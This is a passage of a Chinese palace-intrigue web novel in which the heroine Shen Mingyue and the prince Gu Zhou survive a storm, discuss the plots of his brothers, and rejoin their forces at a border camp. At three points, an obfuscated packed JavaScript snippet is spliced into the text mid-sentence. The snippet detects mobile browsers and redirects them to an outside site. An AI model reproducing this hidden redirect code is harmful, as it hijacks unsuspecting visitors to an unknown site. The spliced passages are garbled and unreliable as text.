“没受过这样的苦吧!”沈明月看着他这样子,像是饿坏了,他是皇子,自小养尊处优,想必从未受过这样的磨难。 顾洲没有回答,低头瞥见床边的小瓷瓶,心中不由得慌乱起来,偷偷看了一眼沈明月,发现她并没有注意到,于是立即将瓶子装了起来。 “对了,你离开后发生了什么事?你们的人呢?”沈明月本想说“你逃走后”,可觉得不妥,他已落魄成这样,不能再落井下石了,于是改了口。 “昨日我们应是中了掉虎离山之计,他们佯装攻击周景文的队伍,实则目标是我们,之后……我跟队伍走散了,遭到追击,负伤后躲进了山中。” “别我们我们的,我是我、你是你!”沈明月往火塘里添着木头,这木头发潮,升起的烟有些呛人。 她将一些木头放在火旁边烤着,起身到门口外,深吸了一口外面的空气,之后说道:“想必是这些北蛮人知道你的身份,为追击你而来?” 顾洲也起身也走到门外,看着远处被山风拂过的树梢,深邃的眸光有些黯淡,语气却极为平和地说道:“也许他们不是北蛮人,而是我那兄弟们!” “什么?”沈明月有些惊讶。 “是,他们想害我不是一日两日了。”顾洲的声音低沉下去。 沈明月未语,她想过夺嫡只是权谋手段,却不想会是这样的激烈,丝毫不逊色于战场上生死存亡。 顾洲继续说道:“昨日午时溪边射箭的人,看身手和习惯,不像是北蛮人,昨晚的袭击又有蹊跷……是我一时情急糊涂,怀疑是你将他们引来的。” 他说完,转头凝视沈明月,诚恳地说道:“抱歉,是我想错了。” 这便是沈明月想要的态度,但他是低头了,她却不好意思起来,讪讪地将话题引回来,“你的兄弟们知道你离开军营,所以想借机杀了你?” “我不知道陛下是否准许我巡守,所以给京中的奏折没有加急,想给这次行动留出时间来,算算时间,那奏折应该现在才送达,但秦王知晓了行动,所以才派人追杀过来……不想却连累你了。” “秦王?” 顾洲不想到她竟然不知,看样子也不像是装的,她对政事敏感,这些事居然不知道。 他耐心地解释道:“我二弟秦王顾清,三弟晋王顾澄。” “唔,二弟、三弟……你把他们当兄弟,他们却想杀你!你呢?你父亲给你封个什么王?” 顾洲尴尬地咳了两下,“我无封号,只是占个嫡长子的名头!” 沈明月好像理解了一些,自从周公旦定下周礼后,嫡长子继承制被沿用了两千多年,“立嫡以长不以贤,立子以贵不以长”,可这制度阻止了多少兄弟阋墙?又引发了多少手足相残? “所以你是怀疑我与那个秦王里应外合?你还真是高看我了,我要是认识这样的权贵,还用得着整日为那二两银钱奔波吗?” “不过,”沈明月眸光中闪过一丝不解,“你为什亲自跟来?之前不是商量好徐铭带兵吗?” “我……”顾洲将目光放到远处,“自是因为程岳第一次带兵,我不放心。” 他没有说实话,尾音有些发飘,至于为什么非要亲自来,则是因为听到沈明月连夜出征后,一下就担忧起来,他原以为她会跟着徐铭一起出发,不想她竟然跟着义军出发了,义军中人员参差不齐,他担心她的安危。 这一点他没办法说出口,毕经义军是她一手带起来了,她是完全相信义军,只怕他说了她也不会相信。 沈明月又问:“海棠怎么没跟你一起来?” “她去查裴济。”顾洲的语气有些严肃。 他们之前怀疑裴济是秦王的人,若此事为真,那么他在营州的谋划就要小心些,但他这次离营走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350347|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光明正大,随后便有人追杀,现在裴济叛变已确认无疑。 “裴济?就是那个给大营送物资的州牧?”沈明月还记得他,而且对着人印象还不错。 “是,但物资不是他送的,是我威胁他要来的。” “什么?”沈明月没想到中间还有这么多弯弯绕,“可他就甘心受你威胁?” “自然不是,当晚邀我赴宴就给我下了药……就是你我在河边散步的那一日。” 沈明月摸摸下巴,“谋害皇子,这可是大罪,啧啧……那裴济倒是胆子大。” “自然是他背后的主子胆子大,但那药不是一般的药,那药……只会让人出丑,让人误以为是酒后失德。”顾洲不知该如何说,想起那种感受,身上依旧有些不自在。 沈明月拨弄着火堆,细想想那日的事,怪不得那晚海棠回来后很是不悦,也许是跟这家伙酒后失德有关系,沈明月又想到那日之后的事,似乎也明白了一些事,“所以第二日是裴济的人来试探你。” “是……所以我……抱歉,那日唐突了你……” 顾洲说着,耳廓有些微微发热,犹记得沈明月在自己怀中的感受,那感觉有些奇妙,怀中人浑身紧绷却紧紧地偎着他,双手揪着他的衣衫,但后来看她的样子,好似她自己都没有意识到这一点。 他怕沈明月看出异样,往前挪了半步,背对着她,不让她看到自己局促的表情。 沈明月却只当自己是个旁观者,摇摇头叹息道:“你们活得可真累……” “生在帝王家,万般不由己。”顾洲目光上移,看向天空。 远处的山顶上还是一片亮堂堂,但日光有些白得不正常,他回望东北方,却见黑云如墨,笼罩天际。 沈明月犹在遐想着历史上的各种夺嫡之争,只听顾洲说了一句:“要下雨了。” 她转头看看天空,深吸了一口气,闻到一股淡淡的泥土气息,又伸手感知一下空气,的确是暴风雨要来了,这草屋的门窗怕是要遮挡一下。 进了屋后见顾洲正想办法修坏掉的门板,她则坐在火塘边,把木棍削尖,穿起鸡腿来烤,这鸡腿用野葱野蒜野花椒腌制过,希望味道能说得过去。 鸡腿刚入火塘,外面天色陡然暗了下来,门板勉强固定在门框上,风见此路不通便又从窗户进来,咆哮着想要吞噬掉屋内的这点温暖。 顾洲从床上拆下一块木板堵到窗户处,彻底断绝了风想吹进来的念头,屋内一下子安静下来,只剩下木柴燃烧发出的噼啪声。 沈明月翻转着鸡腿,屋内的温热让她有些困顿,她已经一天一夜没有休息了,想着吃完鸡腿要好好睡一觉。 “一会儿就能吃了,”她闻了闻鸡腿,香气扑鼻,十分满意地点点头,“还不错。” 暖橙色的火光在沈明月的面庞上浮动,她右手转动着木棍,左手托着腮,眼皮微微下垂,仿佛下一刻阖上沉沉睡去。 顾洲看得有些出神,她终究只是个小女子。 外面狂风肆虐的声音更衬出屋内的静谧,这静谧竟让他感到十分的安心。 自母亲走后,他再也没有过这样的感受。 一个惊雷毫无征兆地响起,半睡的沈明月被惊得猛然一颤,鸡腿掉落在火堆中,之后接连两个更大的雷声,让她闭上双眼紧紧捂住耳朵。 顾洲跨步上前,想抱住她保护她,手伸到半空中却又顿住,之后只捡起了穿着鸡腿的木棍。 但依旧关切地问道:“你怕打雷?” “嗯,这声音像炮……爆炸,”沈明月深深地点点头,怕他不理解,又加了一句解释,“像爆竹声。” 上一世,她对这声音已经产生了条件反射,以至于来到这个世界这么长时间了,还是久久不能走出来。 顾洲只以为她是紧张口误了,没有深究,还在思忖着刚才为什么会有那样的念头。 “你一天没有休息了,今晚你在床上睡吧。” “好。”沈明月没有客气,她实在是太累了。 外面的风声越来越紧,越来越骇人,鸡腿还没吃上两口,只见屋顶晃动了两下,还不及二人反应,头顶的茅草突然被风刮走,火塘被吹得火星四散。 赶紧走!这屋子撑不住。 二人快速用被子将物资卷了,匆忙离开草屋,迎着风走了不到五十步,房子轰然倒塌。 看着扬起的烟尘被风卷到半空中,沈明月的心凉了半截,今天晚上要怎样熬过这风刀雨剑。 20. 揽怀 乌云翻墨,急急从头顶涌过,狂风几乎要将人吹上天。 顾洲紧紧拉住沈明月,摸索着寻找避风的地方,豆大的雨点开始落下,重重砸到地上,发出“噼里啪啦”声音。 这山坡陡峭,满是碎石,天色暗淡,风又吹得人睁不开眼睛,沈明月脚下踩空,整个人朝山坡下摔去,顾洲眼疾手快拦住她的腰,却顺势一起滚下去。 翻滚两圈之后二人被一块石头拦住,顾洲的后背硬生生地撞到石头上,疼得他咬着牙闷哼了两声。 顾不得伤情,他想坐起来,却见沈明月闭眼垂头倒在他身上。 “沈明月?沈明月?” 他使劲摇了了摇她,呼唤着她的名字,可这声音却被风吹散,也不知她能不能听到。 摇晃让沈明月睁开眼睛,只觉麻木眩晕,耳边只有风声,稍稍抬头,恍惚看见顾洲在说些什么。 “你怎么样?还能动吗?”顾洲起身,将她也扶起来。 ”我……我没事……”沈明月的这几个字如蚊声一般。 顾洲听不真切,但看她的情况似乎不太好,他深吸一口气,钻心的疼痛自背后袭来,但已顾不得这些,环视四周,继续寻找背风之地。 只见这是一个山坳背风处,右下方有许多碎石,散落如扇形,似乎是人工开凿过的。 他当即决定去看看,架起沈明月下了山坡,一个约一人高的洞口赫然出现在眼前。 这倒是个避风的地方,顾不得里面会不会有危险,进了洞后,风声一下子变小了,天地也似乎安静下来。 沈明月几乎是坠落在地,她衣衫湿透,加之精神紧张,不由自主地打起寒战来,他只得用被子将她围起来。 借着洞口微弱的光,顾洲将沈明月身下的碎石清理一番,之后又整理了物资。 当他起身时,洞口外明亮起来,这骤雨来得快去得也快,外面的风雨已被逃向远方,只剩几片残云与阳光做着最后的斗争, 他站在洞口,举目四望,天空一碧到底,山间的绿色明澈透亮。 回去再看沈明月,蜷在地上似乎是睡着了,他没有打扰她,而是出去找木柴,刚刚下过雨,一切都是潮乎乎的,费了好一番功夫才捡到了干柴,升起一堆火。 “沈明月,起来烤干衣服。” 顾洲说完准备出去等候,见她未动,便又叫了一声,可依旧没有回应,他上前蹲下身去推推她,却发现所触之处一片冰冷。 “沈明月?” 他有些着急,掀开被子握住她的手,那手柔弱无力,没有任何反应,看样子应该是晕过去了。 她的身体太凉了,要怎么办?这样下去她会死的! 他将她抱到火堆旁边,可这山洞太大,火也只能温暖眼前这一片。 他犹豫再三,脱下了自己和沈明月的外衣撑在火边烘烤,之后将人揽在怀中,用体温为她取暖。 借着火光,他环视四周,这里修葺得还算平整,洞壁有开凿过的痕迹,像是一个废弃的矿洞,还好没有野兽住进来,目前这里还算安全。 怀中的冰冷隐隐带着雨后草木清澈的香气,远胜于那些甜腻的熏香。 这香气让他想到他与母亲逃难的那段时光。 那年他七岁,随父亲西宁王顾崇驻守燕州,日子平静而安稳,然而一个悠长的夏日午后,军中收到京中急报:陛下病重,诸王进京侍疾。 他父亲安排一番,将其他妾室与子女留在幽州,只带着正妃徐娴与长子顾洲启程,行至半路,京中传来密报,说是陛下突发疾病,半身不遂、口不能言,圣旨虽不假,但内廷已被他叔父顾简控制,诏诸王进京而后便要谋杀之。 顾崇陷入两难,若不进京便是抗旨不尊、之后便会扣上谋逆之罪,若进京只怕他一家三口性命不保。 思量再三,他决定一方面送妻儿去幽州投奔顾洲的舅父,也就是现在的安国公徐茂,另一方面遣人回幽州调兵,他则独自前往京城。 顾崇先行书信一封,派人先行送至徐茂,命其遣人接应,顾洲母子随后启程,未料还未等到接应之人就先遇到了追杀,一路逃亡偏离了原来的路线,随从侍卫皆尽伤亡,他母亲好歹也是武将之后,死命护着顾洲藏到山中,躲过追捕。 徐娴除去首饰,又与农家换了衣衫,在外流浪了几日,就在走投无路之时,一辆路过的马车停到她们身边,车上下来一位妙龄妇人救了她们,将她们带回小镇家中,徐娴隐去姓名,只称逃难在外,带着顾洲留在在这户王氏人家中做了厨娘。 那是顾洲年岁小,又受到惊吓,记不清那是什么地方,他只记得他病了许久,在那个户人家中住了许久,他还记得那个带她们回来的妇人似乎总是眼含忧郁,在抱过他之后会悄悄抹眼泪。 一次他终于忍不住问母亲为什么,他母亲只说那妇人是归宁在家,想念她的女儿,并再次叮嘱他不要多言。 也不知过了多久,舅父的人暗中找来,母亲并没有惊动王氏家人,只说攒够还乡的盘缠,欲还乡去,王家倒是个仁善人家,也未多问便放他们离开了。 这时她们才知道顾崇已登临帝位,顾洲见到父亲第一眼,看到他父亲眼中流露出的不是欣喜,而是怀疑,因为她母亲的肚子已微微隆起。 但碍于他外祖徐家的势力和从龙之功,他母亲还是被封为皇后,他本以为日子还会像以前一样,但不久后他母亲在生产之时,一尸两命难产而亡。 徐娴深知帝王的疑心,曾派人去找过那个户人家,不知为何竟然没找到,她担心是有人从中作梗,也怕伤及那户人家性命遂放弃了寻找。 但她曾交给了顾洲半只双股银钗,告知顾洲去一个叫安山镇的地方寻找王氏人家,一来想请他们证明自身清白,二来为报答他们的救命之恩。 那时顾洲太小,而他父亲靠兵权上位,朝中多有不服,顾不过来许多,只将他交给几个师傅管教,他虽是皇后嫡长子,却也只是个没娘的孩子。 在后宫之中想要生存下来不是件易事,在吃了几次暗亏之后,他学会了假装平庸之辈、顽劣不堪,不过他不用装得太多,自有人会添油加醋后回禀给他父皇,以至于落得如今这样的名声。 转眼,他到了及冠之年,朝中上奏要求选立太子的呼声越来越高,众人对他这身份愈发虎视眈眈,于是他故意在媚春楼打了丞相之子,又经他舅父一番运作,将他被父亲扔到了营州。 这些年,他与父亲关系疏冷,临走时去拜别父亲,却不得见,他是多么希望能得到父亲的一句关怀的话,可是近在咫尺却又远隔天涯。 想到此处,他的眼角有些湿润,他的父亲一定对他很失望吧!他的母亲对他也应该很失望吧! 怀中的人动了一下,打断了他的思绪,他将唇贴上沈明月的额头试了试温度,已经温暖了不少,但手摸着还是有凉的,于是将被子捂得再严实些,将人与自己贴得更紧些。 他还想着沈明月倒是细心,这套单兵物资准备齐全,倒是可以在军中推广。 夜渐渐深了,顾洲睡意朦胧,也不知过多久,石块碰撞的声音将他惊醒,火堆已熄灭,只剩下暗红色在木柴缝隙中闪现。 怀中的人已经温暖起来,呼吸也平稳,想来应该是没事了,他起身重新将火生起来。 回味着昨晚沈明月身上的草木香,他下意识地摸了摸自己的唇瓣,刚才怎么吻上了她的额头,一切是那么自然而然,竟没有一丝杂念。 体内升起一股温热,真想过去再抱一抱她的躯体。 但洞口渗进来的凉意让他清醒起来,他为什么会有这样的念头,若说刚才是不得已,那么现在这想法便是龌龊。 他为自己的感到羞耻,他自认不是好色之徒,纵然身处勾栏、纵然美人在侧,他总是能洁身自持,从未有过逾越之举,怎么今日有了这般贪念。 看着火光映照着沈明月的面庞,弯弯的柳眉下,那双灵动的眼睛正安静地闭着,睫毛根根分明的阴影投在莹白透粉的肌肤上,樱唇琼鼻,柔儿不妖、娇而不媚,若不开口说话,她会是个温柔的女子。 可若她是这样的女子,他还会有这样的想法吗?顾洲明白,吸引他的是她身上那股坚韧不低头的傲气。 一番胡思乱想,心中愧疚更甚,他知道自己不该有如此想法,这是对沈明月的不尊重,也是对自己的不尊重。 他只能安慰自己,今晚同榻而眠之举实属无奈,心中拿定主意,若她不记得此事,他则永不提起;若她记得,他会负责到底,娶她为妻。 娶妻这个念头一出现,他心中又开始谋划,待得救后,要立即上书父皇,请求退婚。 他的父亲有很多女人,虽然他母亲在后宅有权利与威望,可只有他听到过母亲的叹息,他此生最羡慕的便是舅父与舅母之间的伉俪情深。 他也曾暗下决心,此生若得知心之人,定不会辜负。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357545|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可沈明月她的心意如何呢?从她对他的看法和态度来看,她是讨厌他的吧! 火塘的灼烤让他有些烦躁,干脆走出山洞,走入那广袤的寒野中,让自己冷静冷静,北方残夜里的月明,光线好像被冻住一般,使整个天地染上淡淡哀伤的色彩。 他面色凝重起来,这一重山连着一重山,侍卫寻找起来一定很困难,已经两天了,若再等不来救兵,他就要想办法离开这里。 不多时,东天角上渐渐发白,一层银红色的光芒在浮动,太阳快要升起来了,天就要亮了。 他忽然想到,沈明月并没有吃多少东西,醒来后肯定饿,而这里什么也没有。 抱着一丝希望,顾洲去寻找那个草屋,希望能在里面找到些炊具,凭着记忆原路返回,翻过小山坡便看到了房子的残骸,原来昨日他们并没有走多远。 所幸这里还有一些东西能用,他回到山洞烧了热水,而沈明月还是没有醒来,再这样睡下去估计要出问题,于是上前叫醒她。 叫了好几声,沈明月才幽幽转醒,她动了一下,只觉周身乏力、肌肉酸痛不已,她揉着小腿肚子以缓解不适,“我这是怎么了?” “你……摔倒晕过去了,已经睡了一夜了。” 看样子她一点也不记得,顾洲担心把实情说出来她会难为情,便扯了谎。 沈明月揉揉头,搜寻着记忆,她记得摔倒了,之后进了一个黑暗的空间,再后来就昏昏沉沉什么也不记得了。 “起来吃些东西。”顾洲倒着一碗热水。 沈明月看看自己的衣衫被腿掉,问道:“你帮我脱的衣服?” 她说这话倒也没有别的意思,随便一问,这个时代的衣服里三层外三层,只要没露肌肤,对她来说就不算什么。 但是说着无心听者有意,她身上没什么力气,说话中音不足,在顾洲听来却是无力地诘问。 “是,衣服湿了……会着凉,”他解释了一句,随后又快速补充道:“你若是介意……我会负责。” 沈明月抬头看着他,眼中有些诧异,之后无奈地笑道:“呵!那你岂不是要对很多人负责?” 之后低头继续穿衣服,却瞥见装云霄膏的罐子,竟然还没丢。 她拾起罐子收好,继续调侃道:“放心,即使你对我做了什么我也不会赖着你!” 这几戏谑的话,彻底击溃了顾洲的热情,在她眼中,他真真就是个纨绔浪荡,他想解释可又不知如何解释,便不再说话,低头就着热水吃起饼子来。 沈明月见他这样子,自知玩笑开大了,起身看着一锅清水,“就吃这个?等着我给你弄点好吃的。”说完就要往外走。 顾洲也起身,“我去吧!你身体还没恢复。” “可别!估计你连稻麦都分不清楚,又怎么知道什么能吃什么不能吃。”沈明月按住他的肩膀,忍不住又补充一句:“我怕被毒死,哈哈!” 不想顾洲的身体却抖了一下,紧紧皱起了眉头。 沈明月才记起他为了保护他撞到了石头上,一定是受伤了。 “我看看。”不等他同意,她便扒开了他的衣服,果然黑紫一片,“伤成这样,怎么不说。” “无妨!”顾洲也去扯衣领,想把衣服整理好。 “别动!”沈明月命令的口气让他松了手,之她拿出云霄膏,一点点涂抹起来。 当手指沾着清凉的药膏触到顾洲的肌肤时,他身躯一颤,一股莫名的酥麻感在心底流转,手不自觉地握紧了衣袍。 “疼啊?我轻点。”沈明月低头轻轻吹气,来缓解他的疼痛。 可温热的气息和发丝无意间触碰带来的痒意,让顾洲心神有些慌乱,不由得红了脸,他用余光偷看了一眼沈明月,但见她是那么自然、那么坦荡、那么单纯,这让他觉得自己更加龌龊。 不行,不能再这样下去了。 “可以了!”他重重甩下这句话,慌乱地将衣服穿好,向里挪了挪。 沈明月见他这这副窘迫的模样,便也收了药膏,她本想问问这药膏的事,也忍住了,权当没这回事吧。 但他言辞那么重可不行,她不满道:“哟,还生气了?我可是在帮你。” “若……我对你怎么样了,怎么办。”顾洲试探着,小声问道。 沈明月却未回答,顾洲转头看时,只见她带着十二分的警觉,将食指竖在唇上:“别说话!” 21. 会师 顾洲也警觉起来,竖起耳朵听外面的声音,可似乎只有鸟叫声。 沈明月用右手敲击着左手掌心,似乎在打节拍,很快顾洲就发现这鸟叫声不一般,正待他也要去翻译时,沈明月已翻译出来。 式微胡不归! 这几个字是汉字用四角字符标注后,再翻译成了二进制,而徐铭没有用六爻法,而是直接用一声鸟叫代表一,两声鸟叫代表〇来表达,简单明了,这也是徐铭与顾洲约定好的传信方式。 这其中的规律本该推算一番,但沈明月早已将这一切烂熟于心,所以能快速判断。 “是徐铭他们。”她开心地叫起来,说着就要出去。 顾洲却心下担忧,拦住她,“且慢,我先去看看,只恐有诈。” 的确,现在这情形务必要小心再小心,但沈明月知道敌方要找的人是顾洲,于是反拉住他,“我去,你更重要!若我出什么事,你想办法逃走。” 说完沈明月冲他微微一笑,像是在诀别。 这话让顾洲心绪复杂,想说些什么,再抬头时,沈明月已经走到了洞口。 鸟叫声经过山谷的回响,找不出具体的来源,沈明月正犹豫期间,顾洲举着一根燃烧的木柴出来,说道:“深山密林哪里那么好找。” 她立即明白他的意思,只有暴露自己的位置才能让对方找到,可她却担忧,“可这样也会将位置暴露给敌人。” “那就要看谁来得快了!” 顾洲说着折了一些带树叶的树枝,堆成一堆点燃,之后他交给沈明月一把匕首,“这是西域精钢打制,锋利无比,用时小心些。” 这匕首拿着很是压手,银白色的外壳上雕刻着精美的花纹,拔出来刀刃寒光一闪,似乎在告知世人不要小瞧它的厉害。 树枝水分大,不多时便起来很大的烟,所幸今日天气好,山风不足以把烟吹散,二人躲避到不远处的树从间,悄悄观察着动静。 约摸半个时辰后,树枝即将燃尽之时,两个蒙面侍卫找了过来,进洞检查一番后吹了几声特殊的口哨,不多时徐铭带着也找了过来。 顾洲与沈明月二人丝毫不敢懈怠,精神高度紧张,小心的听着周遭的动静,见到徐铭后才放心下来,一起走出树林。 徐铭听见动静,见是主上,喜出望外地将眉头舒展开,迎了上去跪地叩拜:“可算找到主上了!” 随后抬头看到顾洲身后的沈明月,他更是激动地红了眼角,膝行两步上前热切地说道:“沈先生,沈先生,我以为再也见不到你了,没想到你跟主上在一起。” “是我救了他……放心,我可是福星,福大命大死不了,快起来。”沈明月说着将徐铭拉起来,哄孩子一般说道:“多大人了,还哭!” 顾洲看着二人,面色有些不悦,徐铭见沈明月竟然比见他这个主上还亲,他背过身去轻咳了一声:“走吧!” 徐铭抹了一把脸,恭敬地行礼领命,招呼众人启程。 离开时,沈明月回望山洞,想起那日那位大哥给她看手相时的话,说她此生有一大劫。 难道这就是那一劫?现在她活下来了,看来劫难已过,以后会一切顺利吧!但后面还有大事要办,若一切顺利该有多好。 想到这里,她不由得有些喜色,庆幸的对徐铭说道:“这叫吉人自有天相。” “还不快走!”顾洲余光捕捉到她对徐铭那抹笑意之后,端起架子,言语间有些不满。 “是。”徐铭说着却依旧小心护着沈明月下山坡。 “来了!”沈明月不明所以,不知他这愠怒从何而来,竟变脸变得如此之快,便从他背后狠狠翻了他一个白眼。 走了一个多时辰,终于走出了大山,远远就望见一个身着盔甲的中年将军在河边等候,见顾洲过来,立即上前请罪:“未将韩成参见大殿下,让殿下受惊了,臣有罪。” “起来吧,这次是个意外。”顾洲屏退左右,问道:“现在情况如何了?” “自接到殿下的命令,我便了派人马前来接应各路义军,现在已经有一半的义军已秘密在凌源外大营驻扎,但是人数似乎比殿下说得要多一些。不久前安庆失守,但不是北蛮攻下来的,是守将杨合投降,我也给朝中写过一次奏折,可不知为何朝中始终没有旨意下来。 义军人数增加,看来是路上又捡了一些人,而安庆竟是投降,这是顾洲没想到的。 他算着时间,他是出征前一日得知失守的消息的,到现在大约十日了,这消息早该送达京城,但还没消息出兵,要么就是求和派从中作梗使陛下不愿出兵,要么就是消息被兵部截流根本没传到陛下跟前。 究竟是怎样?他心中谋划着不仅要给朝中上请战的奏折,还要给舅舅写封信问问。 之后他又问道:“兴城情况如何?” 韩成叹了口气:“兴城陈将军现在城门紧闭,不迎敌也不抗敌,北蛮人在城外乡间烧杀,他一概不管。” 顾洲出发前派了可靠的人,分别给韩成和陈长生分别送了巡狩的文书,可只有韩成回信,看来这陈长生打定主意要当个缩头乌龟了。 “如此避战,只怕他早晚有一日要求和。”他思忖了一会儿,叫来徐铭命令道:“拿我的名帖去兴城,就说我在凌源等他。” 徐铭领命而去,韩成看着之前一直跟徐铭在一起的女子,这女子虽穿着朴素,蓬头垢面,可细看之下竟是个美人胚子,他常年驻守边塞,不知京城之事,但也曾耳闻近两年来这大殿下行事荒唐,颇为风流。 但他父亲韩尚曾说过大殿下聪慧过人,肖似其外祖定国将军徐耀庭,又是先皇后嫡长子,若好好用功前途不可限量,可不想这两年竟变成了这样。 韩成是个直性子,当即蹙起眉头:“沙场危险,殿下怎还带来女眷前来?” 顾洲看了一眼沈明月,见她十分疲惫地坐到了一块石头上,匆匆解释道:“她是新上任的长史,义军就是她筹建的……差不多了,启程吧!” 这两句话简直要惊掉韩成的下巴,这话若不从大殿下亲口说出,他是万万不敢相信的,一为女子任职,二为她组建义军,果然是“人不可貌相,海水不可斗量”。 沈明月自昏睡了一晚后,像是生了一场大病一般,肌肉抽筋般的疼痛,使她这一路上都无精打采的。 韩成悄悄观察她,这女子看着也过太柔弱,怎么看都不像是能组建义军之人,但见徐铭等人对她毕恭毕敬、言听计从,又尊称为“先生”,不由得暗暗称奇。 行路两日到达凌源军营,韩成为沈明月安排了一间单独的房子,并从他的将军府中调来两名侍女。 前世沈明月居住沪上,父亲是远近知名的医生,母亲是高校教师,家境优渥,也曾有司机女仆,可进了军校之后,就一切习惯了自己动手。 她本欲拒绝,但这个地方陌生,一个人在在生活上也多有不便,还是留下一人来与她做伴为好。 韩成随便点了一个侍女,命她留下,那侍女上前行礼:“奴婢小莲见过姑娘。” 沈明月笑道:“好说,好说,这几日便辛苦妹子了。” 韩成听着这几句话,微微有些诧异,这女子还真是客气。 连日赶路,沈明月疲惫不堪,当即沐浴更衣,之后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360749|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直睡到了第二日大天亮。 清晨的阳光照进窗户,却被窗户的栅格切成条状,似一道道利剑,刺破了沈明月安静的睡眠,她起床伸了个懒腰,这一觉睡得可真舒服,之后匆匆洗漱用过早饭,便找到徐铭一起去义军队伍中。 一路上她观察着军营的配置,问道:“这里怎么没有灾民营?” “沈先生有所不知,整个大齐,只有营州大营设有灾民营,这还是主上的恩典,让流民有个安身之地。” 沈明月有点不相信:“你是说顾洲?这是他的注意?” “将军!将军!先生还是注意点,在外面给主上留点面子。”徐铭急切地小声叮嘱。 “知道了,知道了!顾洲,顾将军。”沈明月有些不耐烦。 二人来到队伍中,最后一个营刚刚到达正在休整,肖广林见二人来到,瞥了一眼徐铭,又悄悄问沈明月:“沈长史,那将军没刁难你吧!” “没有呀!怎么这样说?” “听朱文说,你背地里说那将军坏话,被他捉去了!害我担心了好几日……没事就好,没事就好。” 沈明月瞥了一眼朱文,他正在不远处对一群人说着什么,一副傲视众生的模样,她不屑地笑了一声,又问道:“这小子这几日没给队伍惹麻烦吧!” 肖广林摸着胡子边想边说:“还行,就是嘴刁些,脚程慢些,有些瞧不起人,其它的嘛……还好。” “来路还顺利吗?” “还算顺利,这几个营来的路上,一共端了两个个山贼窝,解决了四拨抢劫的北蛮人,还收了一些逃难的人,捡了不少武器。” 义军的实力真可以,沈明月点点头,“与这里军营中的人相处可还融洽?” “这里的将军够意思,单独开辟出来了营帐,伙食补给也与军中一样。” “好,这几日让大家好好休整,将之前咱们所学的教给新来的人,告诉大家一定要注意纪律,之后的行动我们要与军队互相配合,争取早日收回失地。” “好!沈长史,你可不知道,大家伙都盼着这一天呢!我这就去安排。”肖广林有些兴奋,终于到了这一日。 这些天,众人路过自己的家乡,看着被践踏的田地、被烧毁的房屋、随便堆砌的骸骨,他们恨不得将北蛮人碎尸万段。 肖广林走后,沈明月想着战斗开始,义军没有趁手的武器可不行,于是问徐铭:“顾……将军在忙什么?我找他有点事。” 她刚想将顾洲的名字叫出来,说了一个字后便硬生生地改了过来,“将军”那两个字音色便不自觉地加重了。 “回来后一直与韩将军商议安庆之事,今晨才歇下,主上伤得很重,又连日赶路不得休息,伤口都和布条长在了一起,每次都是咬着纱布换药的。”徐铭说着,眼中满是心疼。 沈明月这才想起他还伤着,本来还想去找他问问后续作战如何安排,看来还是等他醒来再说吧。 这时一个军士小跑过来回禀道:“徐校尉,您要的东西买来了。” 军士说着,双手奉上两个用荷叶包裹的东西。 徐铭接过闻了闻,很满意地说道:“真香!我看先生这几日都瘦了,便命人进城买了些肉食给先生补补。” 沈明月闻着从荷叶缝隙里飘出的香气,觉得比任何味道都好闻,不动声色地吞了吞口水,抬头看看天色,说道:“是该吃午饭了,走,去我的住处。” 来到沈明月的住处,远远就看见一排晾晒的衣服间,韩成和小莲站在那里说话。 沈明月不禁心中一沉,难不成这小莲是韩成的眼线?韩成也怀疑自己? 22. 凝聚 走近了才听见韩成正在吩咐小莲:“这些东西先收起来,以后缺什么少什么直接来告诉我,你要照顾好沈长史……” 他见沈明月到来,主动打招呼:“沈长史,我过来送些用品,顺便问问还少些什么。” 原来是这样,沈明月松了口气,看来是自己多疑了,笑着缓解心中的尴尬:“辛苦韩将军了,还是韩将军想到周全。” “应该的,军中简陋,韩某也只是尽自己之能,沈长史虽为女子,却能组建起义军,韩某着实佩服,改日还要向沈长史请教。”韩成说着拱手为礼。 “不必改日,若韩将军有时间,一起吃午饭吧。”沈明月说着将荷叶包交给小莲。 韩成也未多客气:“那恭敬不如从命!” 徐铭又命人去军中厨灶上将饭食端来,须臾间食物上桌,三人围坐。 沈明月拿起一个鸡腿递给小莲:“妹子帮我洗了这么多衣服,今日辛苦了,多谢!” 这一举动却惊吓到了小莲,主子这般好态度,只怕是笑里藏刀,她惊慌跪地叩首:“姑娘这是何意?这都是奴婢该做的。” “你这孩子,快起来,拿着。”沈明月说着将她拉起来。 小莲依旧不敢接,而是看向了韩成。 韩成笑道:“不用看我,你既然跟了沈长史,自然要听她的安排。” 沈明月将鸡腿塞到她手里,“我们有事情说,你先去休息!” 